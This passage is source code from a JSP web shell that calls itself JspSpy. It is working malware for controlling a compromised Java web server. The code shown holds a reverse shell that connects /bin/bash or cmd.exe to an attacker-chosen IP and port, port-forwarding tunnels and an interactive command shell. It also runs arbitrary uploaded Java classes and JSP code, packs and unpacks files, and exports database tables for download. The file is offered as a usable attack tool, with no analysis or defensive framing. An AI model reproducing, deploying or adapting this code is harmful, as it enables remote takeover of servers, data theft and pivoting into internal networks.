request.getParameter("exclude").split(","); 2182 | } 2183 | String packedFile = request.getParameter("packedfile"); 2184 | if (Util.isEmpty(packedFile)) 2185 | return; 2186 | this.packFile = packedFile; 2187 | String saveFileName = request.getParameter("savefilename"); 2188 | File saveF = null; 2189 | if (this.config) 2190 | saveF = new File(saveFileName); 2191 | else 2192 | saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); 2193 | if (saveF.exists()) { 2194 | JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); 2195 | response.sendRedirect(SHELL_NAME); 2196 | return; 2197 | } 2198 | File pF = new File(packedFile); 2199 | ZipOutputStream zout = null; 2200 | String base = ""; 2201 | if (pF.isDirectory()) { 2202 | if (pF.listFiles().length == 0) { 2203 | JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty ."); 2204 | response.sendRedirect(SHELL_NAME); 2205 | this.reset(); 2206 | return; 2207 | } 2208 | zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); 2209 | zipDir(pF,base,zout); 2210 | } else { 2211 | zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); 2212 | zipFile(pF,base,zout); 2213 | } 2214 | zout.close(); 2215 | this.reset(); 2216 | JSession.setAttribute(MSG,"Pack File Success!"); 2217 | response.sendRedirect(SHELL_NAME); 2218 | } catch (Exception e) { 2219 | throw e; 2220 | } 2221 | } 2222 | public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { 2223 | if (f.isDirectory()) { 2224 | if (this.config) { 2225 | String curName = f.getAbsolutePath().replace('\\','/'); 2226 | curName = curName.replaceAll("\\Q"+this.packFile+"\\E",""); 2227 | if (this.exclude != null) { 2228 | for (int i = 0;i filesize) 2270 | return; 2271 | } 2272 | } 2273 | } 2274 | ZipEntry entry = new ZipEntry(base+f.getName()); 2275 | zout.putNextEntry(entry); 2276 | FileInputStream fInput = new FileInputStream(f); 2277 | int len = 0; 2278 | byte[] buf = new byte[1024]; 2279 | while ((len = fInput.read(buf)) != -1) { 2280 | zout.write(buf, 0, len); 2281 | zout.flush(); 2282 | } 2283 | fInput.close(); 2284 | } 2285 | } 2286 | private static class UnPackInvoker extends DefaultInvoker { 2287 | public boolean doBefore(){return false;} 2288 | public boolean doAfter(){return false;} 2289 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2290 | try { 2291 | String savepath = request.getParameter("savepath"); 2292 | String zipfile = request.getParameter("zipfile"); 2293 | if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) 2294 | return; 2295 | File save = new File(savepath); 2296 | save.mkdirs(); 2297 | ZipFile file = new ZipFile(new File(zipfile)); 2298 | Enumeration e = file.entries(); 2299 | while (e.hasMoreElements()) { 2300 | ZipEntry en = (ZipEntry) e.nextElement(); 2301 | String entryPath = en.getName(); 2302 | int index = entryPath.lastIndexOf("/"); 2303 | if (index != -1) 2304 | entryPath = entryPath.substring(0,index); 2305 | File absEntryFile = new File(save,entryPath); 2306 | if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) 2307 | absEntryFile.mkdirs(); 2308 | BufferedOutputStream output = null; 2309 | BufferedInputStream input = null; 2310 | try { 2311 | output = new BufferedOutputStream( 2312 | new FileOutputStream(new File(save,en.getName()))); 2313 | input = new BufferedInputStream( 2314 | file.getInputStream(en)); 2315 | byte[] b = new byte[1024]; 2316 | int len = input.read(b); 2317 | while (len != -1) { 2318 | output.write(b, 0, len); 2319 | len = input.read(b); 2320 | } 2321 | } catch (Exception ex) { 2322 | } finally { 2323 | try { 2324 | if (output != null) 2325 | output.close(); 2326 | if (input != null) 2327 | input.close(); 2328 | } catch (Exception ex1) { 2329 | } 2330 | } 2331 | } 2332 | file.close(); 2333 | JSession.setAttribute(MSG,"UnPack File Success!"); 2334 | response.sendRedirect(SHELL_NAME); 2335 | } catch (Exception e) { 2336 | 2337 | throw e ; 2338 | } 2339 | } 2340 | } 2341 | //VMapPort 2342 | private static class VmpInvoker extends DefaultInvoker { 2343 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2344 | try { 2345 | PrintWriter out = response.getWriter(); 2346 | Object localIP = JSession.getAttribute("localIP"); 2347 | Object localPort = JSession.getAttribute("localPort"); 2348 | Object remoteIP = JSession.getAttribute("remoteIP"); 2349 | Object remotePort = JSession.getAttribute("remotePort"); 2350 | Object done = JSession.getAttribute("done"); 2351 | 2352 | JSession.removeAttribute("localIP"); 2353 | JSession.removeAttribute("localPort"); 2354 | JSession.removeAttribute("remoteIP"); 2355 | JSession.removeAttribute("remotePort"); 2356 | JSession.removeAttribute("done"); 2357 | 2358 | if (Util.isEmpty(localIP)) 2359 | localIP = InetAddress.getLocalHost().getHostAddress(); 2360 | if (Util.isEmpty(localPort)) 2361 | localPort = "3389"; 2362 | if (Util.isEmpty(remoteIP)) 2363 | remoteIP = "www.forjj.com"; 2364 | if (Util.isEmpty(remotePort)) 2365 | remotePort = "80"; 2366 | if (!Util.isEmpty(done)) 2367 | Util.outMsg(out,done.toString()); 2368 | 2369 | out.println("
"+ 2370 | ""+ 2371 | " "+ 2372 | " "+ 2373 | " "+ 2397 | ""+ 2398 | "

PortMap >>

"+ 2374 | "
"+ 2375 | " "+ 2376 | " "+ 2377 | " "+ 2378 | " "+ 2381 | " "+ 2383 | " "+ 2385 | " "+ 2387 | " "+ 2388 | " "+ 2389 | " "+ 2393 | " "+ 2394 | "

Local Ip :"+ 2379 | " "+ 2380 | "
Local Port :"+ 2382 | " Remote Ip :"+ 2384 | " Remote Port :"+ 2386 | "

"+ 2390 | " "+ 2391 | " "+ 2392 | "
"+ 2395 | "
"+ 2396 | "
"+ 2399 | "
"); 2400 | String targetIP = request.getParameter("targetIP"); 2401 | String targetPort = request.getParameter("targetPort"); 2402 | String yourIP = request.getParameter("yourIP"); 2403 | String yourPort = request.getParameter("yourPort"); 2404 | if (Util.isEmpty(targetIP)) 2405 | targetIP = "127.0.0.1"; 2406 | if (Util.isEmpty(targetPort)) 2407 | targetPort = "3389"; 2408 | if (Util.isEmpty(yourIP)) 2409 | yourIP = request.getRemoteAddr(); 2410 | if (Util.isEmpty(yourPort)) 2411 | yourPort = "53"; 2412 | out.println("
"+ 2413 | ""+ 2414 | " "+ 2415 | " "+ 2416 | " "+ 2439 | ""+ 2440 | "

Port Back >>

"+ 2417 | "
"+ 2418 | " "+ 2419 | " "+ 2420 | " "+ 2421 | " "+ 2424 | " "+ 2426 | " "+ 2428 | " "+ 2430 | " "+ 2431 | " "+ 2432 | " "+ 2435 | " "+ 2436 | "

Target Ip :"+ 2422 | " "+ 2423 | "
Target Port :"+ 2425 | " Your Ip :"+ 2427 | " Your Port :"+ 2429 | "

"+ 2433 | " "+ 2434 | "
"+ 2437 | "
"+ 2438 | "
"+ 2441 | "
"); 2442 | } catch (Exception e) { 2443 | 2444 | throw e ; 2445 | } 2446 | } 2447 | } 2448 | //StopMapPort 2449 | private static class SmpInvoker extends DefaultInvoker { 2450 | public boolean doAfter(){return true;} 2451 | public boolean doBefore(){return true;} 2452 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2453 | try { 2454 | Object obj = JSession.getAttribute(PORT_MAP); 2455 | if (obj != null) { 2456 | ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); 2457 | server.close(); 2458 | } 2459 | JSession.setAttribute("done","Stop Success!"); 2460 | ((Invoker)ins.get("vmp")).invoke(request,response,JSession); 2461 | } catch (Exception e) { 2462 | 2463 | throw e ; 2464 | } 2465 | } 2466 | } 2467 | //PortBack 2468 | private static class PortBackInvoker extends DefaultInvoker { 2469 | public boolean doAfter(){return true;} 2470 | public boolean doBefore(){return true;} 2471 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2472 | try { 2473 | String targetIP = request.getParameter("targetIP"); 2474 | String targetPort = request.getParameter("targetPort"); 2475 | String yourIP = request.getParameter("yourIP"); 2476 | String yourPort = request.getParameter("yourPort"); 2477 | Socket yourS = new Socket(); 2478 | yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort))); 2479 | Socket targetS = new Socket(); 2480 | targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort))); 2481 | StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream())); 2482 | StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream())); 2483 | JSession.setAttribute("done","Port Back Success !"); 2484 | ((Invoker)ins.get("vmp")).invoke(request,response,JSession); 2485 | } catch (Exception e) { 2486 | 2487 | throw e ; 2488 | } 2489 | } 2490 | } 2491 | private static class MapPortInvoker extends DefaultInvoker { 2492 | public boolean doBefore(){return false;} 2493 | public boolean doAfter(){return false;} 2494 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2495 | try { 2496 | PrintWriter out = response.getWriter(); 2497 | String localIP = request.getParameter("localIP"); 2498 | String localPort = request.getParameter("localPort"); 2499 | final String remoteIP = request.getParameter("remoteIP"); 2500 | final String remotePort = request.getParameter("remotePort"); 2501 | if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) 2502 | return; 2503 | Object obj = JSession.getAttribute(PORT_MAP); 2504 | if (obj != null) { 2505 | ServerSocket s = (ServerSocket)obj; 2506 | s.close(); 2507 | } 2508 | final ServerSocket server = new ServerSocket(); 2509 | server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); 2510 | JSession.setAttribute(PORT_MAP,server); 2511 | new Thread(new Runnable(){ 2512 | public void run(){ 2513 | while (true) { 2514 | Socket soc = null; 2515 | Socket remoteSoc = null; 2516 | DataInputStream remoteIn = null; 2517 | DataOutputStream remoteOut = null; 2518 | DataInputStream localIn = null; 2519 | DataOutputStream localOut = null; 2520 | try{ 2521 | soc = server.accept(); 2522 | remoteSoc = new Socket(); 2523 | remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); 2524 | remoteIn = new DataInputStream(remoteSoc.getInputStream()); 2525 | remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); 2526 | localIn = new DataInputStream(soc.getInputStream()); 2527 | localOut = new DataOutputStream(soc.getOutputStream()); 2528 | StreamConnector.readFromLocal(localIn,remoteOut); 2529 | StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut); 2530 | }catch(Exception ex) 2531 | { 2532 | break; 2533 | } 2534 | } 2535 | } 2536 | 2537 | }).start(); 2538 | JSession.setAttribute("done","Map Port Success!"); 2539 | JSession.setAttribute("localIP",localIP); 2540 | JSession.setAttribute("localPort",localPort); 2541 | JSession.setAttribute("remoteIP",remoteIP); 2542 | JSession.setAttribute("remotePort",remotePort); 2543 | JSession.setAttribute(SESSION_O,"vmp"); 2544 | response.sendRedirect(SHELL_NAME); 2545 | } catch (Exception e) { 2546 | 2547 | throw e ; 2548 | } 2549 | } 2550 | } 2551 | //VBackConnect 2552 | private static class VbcInvoker extends DefaultInvoker { 2553 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2554 | try { 2555 | PrintWriter out = response.getWriter(); 2556 | Object ip = JSession.getAttribute("ip"); 2557 | Object port = JSession.getAttribute("port"); 2558 | Object program = JSession.getAttribute("program"); 2559 | Object done = JSession.getAttribute("done"); 2560 | JSession.removeAttribute("ip"); 2561 | JSession.removeAttribute("port"); 2562 | JSession.removeAttribute("program"); 2563 | JSession.removeAttribute("done"); 2564 | if (Util.isEmpty(ip)) 2565 | ip = request.getRemoteAddr(); 2566 | if (Util.isEmpty(port) || !Util.isInteger(port.toString())) 2567 | port = "53"; 2568 | if (Util.isEmpty(program)) { 2569 | if (ISLINUX) 2570 | program = "/bin/bash"; 2571 | else 2572 | program = "cmd.exe"; 2573 | } 2574 | 2575 | if (!Util.isEmpty(done)) 2576 | Util.outMsg(out,done.toString()); 2577 | out.println("
"+ 2578 | ""+ 2579 | " "+ 2580 | " "+ 2581 | " "+ 2600 | ""+ 2601 | "

Back Connect >>

"+ 2582 | "
"+ 2583 | " "+ 2584 | " "+ 2585 | " "+ 2586 | " "+ 2591 | " "+ 2592 | " "+ 2593 | " "+ 2596 | " "+ 2597 | "
Your Ip :"+ 2587 | " "+ 2588 | " Your Port :"+ 2589 | " Program To Back :"+ 2590 | "

"+ 2594 | " "+ 2595 | "
"+ 2598 | "
"+ 2599 | "
"+ 2602 | "
"); 2603 | } catch (Exception e) { 2604 | 2605 | throw e ; 2606 | } 2607 | } 2608 | } 2609 | private static class BackConnectInvoker extends DefaultInvoker { 2610 | public boolean doAfter(){return false;} 2611 | public boolean doBefore(){return false;} 2612 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2613 | try { 2614 | String ip = request.getParameter("ip"); 2615 | String port = request.getParameter("port"); 2616 | String program = request.getParameter("program"); 2617 | if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) 2618 | return; 2619 | Socket socket = new Socket(ip,Integer.parseInt(port)); 2620 | Process process = Runtime.getRuntime().exec(program); 2621 | (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); 2622 | (new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start(); 2623 | (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); 2624 | JSession.setAttribute("done","Back Connect Success!"); 2625 | JSession.setAttribute("ip",ip); 2626 | JSession.setAttribute("port",port); 2627 | JSession.setAttribute("program",program); 2628 | JSession.setAttribute(SESSION_O,"vbc"); 2629 | response.sendRedirect(SHELL_NAME); 2630 | } catch (Exception e) { 2631 | 2632 | throw e ; 2633 | } 2634 | } 2635 | } 2636 | private static class JspEnvInvoker extends DefaultInvoker { 2637 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2638 | try { 2639 | PrintWriter out = response.getWriter(); 2640 | out.println(""+ 2641 | " "+ 2642 | " "+ 2660 | " "+ 2661 | "

System Properties >>

"+ 2643 | "
"+ 2644 | "
"+ 2645 | "
    "); 2646 | Properties pro = System.getProperties(); 2647 | Enumeration names = pro.propertyNames(); 2648 | while (names.hasMoreElements()){ 2649 | String name = (String)names.nextElement(); 2650 | out.println("
  • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
  • "); 2651 | } 2652 | out.println("

System Environment >>


    "); 2653 | /* 2654 | Map envs = System.getenv(); 2655 | Set> entrySet = envs.entrySet(); 2656 | for (Map.Entry en:entrySet) { 2657 | out.println("
  • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
  • "); 2658 | }*/ 2659 | out.println("
"); 2662 | } catch (Exception e) { 2663 | 2664 | throw e ; 2665 | } 2666 | } 2667 | } 2668 | private static class ReflectInvoker extends DefaultInvoker { 2669 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2670 | try { 2671 | PrintWriter out = response.getWriter(); 2672 | String c = request.getParameter("Class"); 2673 | Class cls = null; 2674 | try { 2675 | if (!Util.isEmpty(c)) 2676 | cls = Class.forName(c); 2677 | } catch (ClassNotFoundException ex) { 2678 | Util.outMsg(out,"Class "+c+" Not Found ! "); 2679 | } 2680 | out.println("
"+ 2681 | " "+ 2682 | " "+ 2683 | " "+ 2684 | " "+ 2693 | " "+ 2694 | "

Java Reflect >>

"+ 2685 | " "+ 2686 | " "+ 2687 | " "+ 2689 | " "+ 2690 | " "+ 2691 | "
Class Name : "+ 2688 | "
"+ 2692 | "
"+ 2695 | "
"); 2696 | 2697 | if (cls != null) { 2698 | StringBuffer sb = new StringBuffer(); 2699 | if (cls.getPackage() != null) 2700 | sb.append("package "+cls.getPackage().getName()+";\n"); 2701 | String n = null; 2702 | if (cls.isInterface()) 2703 | n = ""; 2704 | //else if (cls.isEnum()) 2705 | // n = "enum"; 2706 | else 2707 | n = "class"; 2708 | sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n"); 2709 | if (cls.getSuperclass() != null) 2710 | sb.append("\textends "+cls.getSuperclass().getName()+"\n"); 2711 | if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) { 2712 | Class[] faces = cls.getInterfaces(); 2713 | sb.append("\t implements "); 2714 | for (int i = 0;i"+faces[i].getName()+""); 2716 | if (i != faces.length -1) { 2717 | sb.append(","); 2718 | } 2719 | } 2720 | } 2721 | sb.append("{\n\t\n"); 2722 | sb.append("\t//constructors..\n"); 2723 | Constructor[] cs = cls.getConstructors(); 2724 | for (int i = 0;i"); 2738 | if (obj != null) 2739 | sb.append(obj.toString()); 2740 | else 2741 | sb.append("NULL"); 2742 | 2743 | sb.append(""); 2744 | } 2745 | sb.append("\n"); 2746 | } 2747 | 2748 | sb.append("\n\t//methods\n"); 2749 | Method[] ms = cls.getDeclaredMethods(); 2750 | for (int i =0;i")+""; 2756 | Util.outMsg(out,m,"left"); 2757 | } 2758 | } catch (Exception e) { 2759 | throw e; 2760 | } 2761 | } 2762 | } 2763 | private static class TopInvoker extends DefaultInvoker { 2764 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2765 | try { 2766 | PrintWriter out = response.getWriter(); 2767 | out.println("
"+ 2768 | ""+ 2769 | " "+ 2770 | " "+ 2771 | " "+ 2772 | " "+ 2773 | " "+ 2789 | "
JspSpy Ver: 2010 "+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+") | copy
Logout | "+ 2774 | " File Manager | "+ 2775 | " DataBase Manager | "+ 2776 | " Execute Command | "+ 2777 | " Shell OnLine | "+ 2778 | " Back Connect | "+ 2779 | " Java Reflect | "+ 2780 | " "+ 2781 | " Eval Java Code | "+ 2782 | " Port Scan | "+ 2783 | " Download Remote File | "+ 2784 | " ClipBoard | "+ 2785 | " Port Map | "+ 2786 | " Others | "+ 2787 | " JSP Env "+ 2788 | "
"); 2790 | if (JSession.getAttribute(MSG) != null) { 2791 | Util.outMsg(out,JSession.getAttribute(MSG).toString()); 2792 | JSession.removeAttribute(MSG); 2793 | } 2794 | if (JSession.getAttribute(ENTER_MSG) != null) { 2795 | String outEntry = request.getParameter("outentry"); 2796 | if (Util.isEmpty(outEntry) || !outEntry.equals("true")) 2797 | Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString()); 2798 | } 2799 | } catch (Exception e) { 2800 | 2801 | throw e ; 2802 | } 2803 | } 2804 | } 2805 | private static class VOnLineShellInvoker extends DefaultInvoker { 2806 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2807 | try { 2808 | PrintWriter out = response.getWriter(); 2809 | out.println(""); 2835 | out.println(""+ 2836 | " "+ 2837 | " "+ 2877 | " "+ 2878 | "
"); 2838 | out.println("

Shell OnLine »


"); 2839 | out.println("
"+ 2840 | " "+ 2841 | " "+ 2842 | " Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo"+ 2843 | "
"+ 2844 | "
"+ 2845 | " "+ 2847 | "
"+ 2848 | " "+ 2849 | " "+ 2850 | " "+ 2871 | " Auto Scroll"+ 2872 | " "+ 2873 | "
"+ 2874 | " " 2875 | ); 2876 | out.println("
"); 2879 | } catch (Exception e) { 2880 | throw e ; 2881 | } 2882 | } 2883 | } 2884 | private static class OnLineInvoker extends DefaultInvoker { 2885 | public boolean doBefore(){return false;} 2886 | public boolean doAfter(){return false;} 2887 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2888 | try { 2889 | String type = request.getParameter("type"); 2890 | if (Util.isEmpty(type)) 2891 | return; 2892 | if (type.toLowerCase().equals("start")) { 2893 | String exe = request.getParameter("exe"); 2894 | if (Util.isEmpty(exe)) 2895 | return; 2896 | Process pro = Runtime.getRuntime().exec(exe); 2897 | ByteArrayOutputStream outs = new ByteArrayOutputStream(); 2898 | response.setContentLength(100000000); 2899 | response.setContentType("text/html;charset="+System.getProperty("file.encoding")); 2900 | OnLineProcess olp = new OnLineProcess(pro); 2901 | JSession.setAttribute(SHELL_ONLINE,olp); 2902 | new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); 2903 | new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); 2904 | new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start(); 2905 | Thread.sleep(1000 * 60 * 60 * 24); 2906 | } else if (type.equals("ecmd")) { 2907 | Object o = JSession.getAttribute(SHELL_ONLINE); 2908 | String cmd = request.getParameter("cmd"); 2909 | if (Util.isEmpty(cmd)) 2910 | return; 2911 | if (o == null) 2912 | return; 2913 | OnLineProcess olp = (OnLineProcess)o; 2914 | olp.setCmd(cmd); 2915 | } else { 2916 | Object o = JSession.getAttribute(SHELL_ONLINE); 2917 | if (o == null) 2918 | return; 2919 | OnLineProcess olp = (OnLineProcess)o; 2920 | olp.stop(); 2921 | } 2922 | } catch (Exception e) { 2923 | 2924 | throw e; 2925 | } 2926 | } 2927 | } 2928 | private static class EnterInvoker extends DefaultInvoker { 2929 | public boolean doBefore(){return false;} 2930 | public boolean doAfter(){return false;} 2931 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2932 | PrintWriter out = response.getWriter(); 2933 | String type = request.getParameter("type"); 2934 | if (!Util.isEmpty(type)) { 2935 | JSession.removeAttribute(ENTER); 2936 | JSession.removeAttribute(ENTER_MSG); 2937 | JSession.removeAttribute(ENTER_CURRENT_DIR); 2938 | JSession.setAttribute(MSG,"Exit File Success ! "); 2939 | } else { 2940 | String f = request.getParameter("filepath"); 2941 | if (Util.isEmpty(f)) 2942 | return; 2943 | JSession.setAttribute(ENTER,f); 2944 | JSession.setAttribute(ENTER_MSG,"You Are In File \""+f+"\" Now ! Exit "); 2945 | } 2946 | response.sendRedirect(SHELL_NAME); 2947 | } 2948 | } 2949 | private static class VExport2FileInvoker extends DefaultInvoker { 2950 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2951 | PrintWriter out = response.getWriter(); 2952 | String type = request.getParameter("type"); 2953 | String sql = request.getParameter("sql"); 2954 | String table = request.getParameter("table"); 2955 | if (Util.isEmpty(sql) && Util.isEmpty(table)) { 2956 | JSession.setAttribute(SESSION_O,"vConn"); 2957 | response.sendRedirect(SHELL_NAME); 2958 | return; 2959 | } 2960 | out.println("
"+ 2961 | ""+ 2962 | " "+ 2963 | " "+ 2973 | " "+ 2974 | "
"+ 2964 | " "+ 2965 | " "+ 2966 | " "+ 2967 | " "+ 2968 | "

Export To File »

"+ 2969 | " "+ 2970 | "
Export \""+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","""))+"\" To File : "+ 2971 | " "+ 2972 | "

"+BACK_HREF+"
"+ 2975 | "
"); 2976 | } 2977 | } 2978 | 2979 | private static class ExportInvoker extends DefaultInvoker { 2980 | public boolean doBefore(){return false;} 2981 | public boolean doAfter(){return false;} 2982 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2983 | String type = request.getParameter("type"); 2984 | String filepath = request.getParameter("filepath"); 2985 | String encode = request.getParameter("encode"); 2986 | String sql = null; 2987 | DBOperator dbo = null; 2988 | dbo = (DBOperator)JSession.getAttribute(DBO); 2989 | 2990 | if (Util.isEmpty(type)) { 2991 | //table export 2992 | String tb = request.getParameter("table"); 2993 | if (Util.isEmpty(tb)) 2994 | return; 2995 | String s = dbo.getConn().getMetaData().getIdentifierQuoteString(); 2996 | sql = "select * from "+s+tb+s; 2997 | 2998 | } else if (type.equals("queryexp")) { 2999 | //query export 3000 | sql = request.getParameter("sql"); 3001 | if (Util.isEmpty(sql)) { 3002 | JSession.setAttribute(SESSION_O,"vConn"); 3003 | response.sendRedirect(SHELL_NAME); 3004 | return; 3005 | } 3006 | } 3007 | Object o = dbo.execute(sql); 3008 | ByteArrayOutputStream bout = new ByteArrayOutputStream(); 3009 | byte[] rowSep = "\r\n".getBytes(); 3010 | if (o instanceof ResultSet) { 3011 | ResultSet rs = (ResultSet)o; 3012 | ResultSetMetaData meta = rs.getMetaData(); 3013 | int count = meta.getColumnCount(); 3014 | for (int i =1;i<=count;i++) { 3015 | String colName = meta.getColumnName(i)+"\t"; 3016 | byte[] b = null; 3017 | if (Util.isEmpty(encode)) 3018 | b = colName.getBytes(); 3019 | else 3020 | b = colName.getBytes(encode); 3021 | bout.write(b,0,b.length); 3022 | } 3023 | bout.write(rowSep,0,rowSep.length); 3024 | while (rs.next()) { 3025 | for (int i =1;i<=count;i++) { 3026 | String v = null; 3027 | try { 3028 | v = rs.getString(i); 3029 | } catch (SQLException ex) { 3030 | v = "<>"; 3031 | } 3032 | v += "\t"; 3033 | byte[] b = null; 3034 | if (Util.isEmpty(encode)) 3035 | b = v.getBytes(); 3036 | else 3037 | b = v.getBytes(encode); 3038 | bout.write(b,0,b.length); 3039 | } 3040 | bout.write(rowSep,0,rowSep.length); 3041 | } 3042 | rs.close(); 3043 | ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray()); 3044 | BufferedOutputStream output = null; 3045 | if (!Util.isEmpty(filepath)) { 3046 | //export2file 3047 | output = new BufferedOutputStream(new FileOutputStream(new File(filepath))); 3048 | } else { 3049 | //download. 3050 | response.setHeader("Content-Disposition","attachment;filename=DataExport.txt"); 3051 | output = new BufferedOutputStream(response.getOutputStream()); 3052 | } 3053 | byte[] data = new byte[1024]; 3054 | int len = input.read(data); 3055 | while (len != -1) { 3056 | output.write(data,0,len); 3057 | len = input.read(data); 3058 | } 3059 | bout.close(); 3060 | input.close(); 3061 | output.close(); 3062 | if (!Util.isEmpty(filepath)) { 3063 | JSession.setAttribute(MSG,"Export To File Success !"); 3064 | response.sendRedirect(SHELL_NAME); 3065 | } 3066 | } 3067 | } 3068 | } 3069 | private static class EvalInvoker extends DefaultInvoker { 3070 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 3071 | String type = request.getParameter("type"); 3072 | PrintWriter out = response.getWriter(); 3073 | Object msg = JSession.getAttribute(MSG); 3074 | if (msg != null) { 3075 | Util.outMsg(out,(String)msg); 3076 | JSession.removeAttribute(MSG); 3077 | } 3078 | if (Util.isEmpty(type)) { 3079 | out.println(""+ 3080 | " "+ 3081 | " "+ 3101 | " "+ 3102 | "

Eval Java Code »

"+ 3082 | "
"+ 3083 | "

"+ 3084 | "

"+ 3085 | "UpLoad a Class File : "); 3086 | Util.outMsg(out,"
"+
3087 | "public class SpyEval{\r\n"+
3088 | "	static {\r\n"+
3089 | "		//Your Code Here.\r\n"+
3090 | "	}\r\n"+
3091 | "}\r\n"+
3092 | "
","left"); 3093 | out.println("

"+ 3094 | "

Jsp Eval :
"+ 3095 | " "+ 3096 | " "+ 3097 | "
"+ 3098 | "
"+ 3099 | "

"+ 3100 | "
"); 3103 | } else if (type.equals("jsp")){ 3104 | String jspc = request.getParameter("jspc"); 3105 | if (Util.isEmpty(jspc)) 3106 | return; 3107 | File f = new File(SHELL_DIR,"evaltmpninty.jsp"); 3108 | BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8")); 3109 | writer.write(jspc,0,jspc.length()); 3110 | writer.flush(); 3111 | writer.close(); 3112 | out.println(""+ 3113 | " "+ 3114 | "

Jsp Eval Result »

"); 3115 | out.println("
"); 3116 | request.getRequestDispatcher("evaltmpninty.jsp").include(request,response); 3117 | out.println("
"); 3118 | f.delete(); 3119 | } 3120 | } 3121 | } 3122 | private static class EvalUploadInvoker extends DefaultInvoker { 3123 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 3124 | ByteArrayOutputStream stream = new ByteArrayOutputStream(); 3125 | UploadBean upload = new UploadBean(); 3126 | upload.setTargetOutput(stream); 3127 | upload.parseRequest(request); 3128 | 3129 | if (stream.toByteArray().length == 2) { 3130 | JSession.setAttribute(MSG,"Please Upload Your Class File ! "); 3131 | ((Invoker)ins.get("ev")).invoke(request,response,JSession); 3132 | return; 3133 | } 3134 | SpyClassLoader loader = new SpyClassLoader(); 3135 | try { 3136 | Class c = loader.defineClass(null,stream.toByteArray()); 3137 | c.newInstance(); 3138 | }catch(Exception e) { 3139 | } 3140 | stream.close(); 3141 | JSession.setAttribute(MSG,"Eval Java Class Done ! "); 3142 | ((Invoker)ins.get("ev")).invoke(request,response,JSession); 3143 | } 3144 | } 3145 | private static class VOtherInvoker extends DefaultInvoker { 3146 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 3147 | try { 3148 | PrintWriter out = response.getWriter(); 3149 | Object msg = JSession.getAttribute(MSG); 3150 | if (msg != null) { 3151 | Util.outMsg(out,(String)msg); 3152 | JSession.removeAttribute(MSG); 3153 | } 3154 | out.println(""+ 3155 | " "+ 3156 | " "+ 3175 | " "+ 3176 | "

Session Manager>>


"+ 3157 | "
"+ 3158 | "
    "); 3159 | Enumeration en = JSession.getAttributeNames(); 3160 | while (en.hasMoreElements()) { 3161 | Object o = en.nextElement(); 3162 | if (o.toString().equals(MSG)) 3163 | continue; 3164 | out.println("
  • "+o.toString()+" "); 3165 | out.println(" "); 3166 | out.println(""); 3167 | out.println(""); 3168 | out.println("
  • "); 3169 | } 3170 | out.println("
  • "+ 3171 | "New Session Attribute"+ 3172 | "name : value : "+ 3174 | "
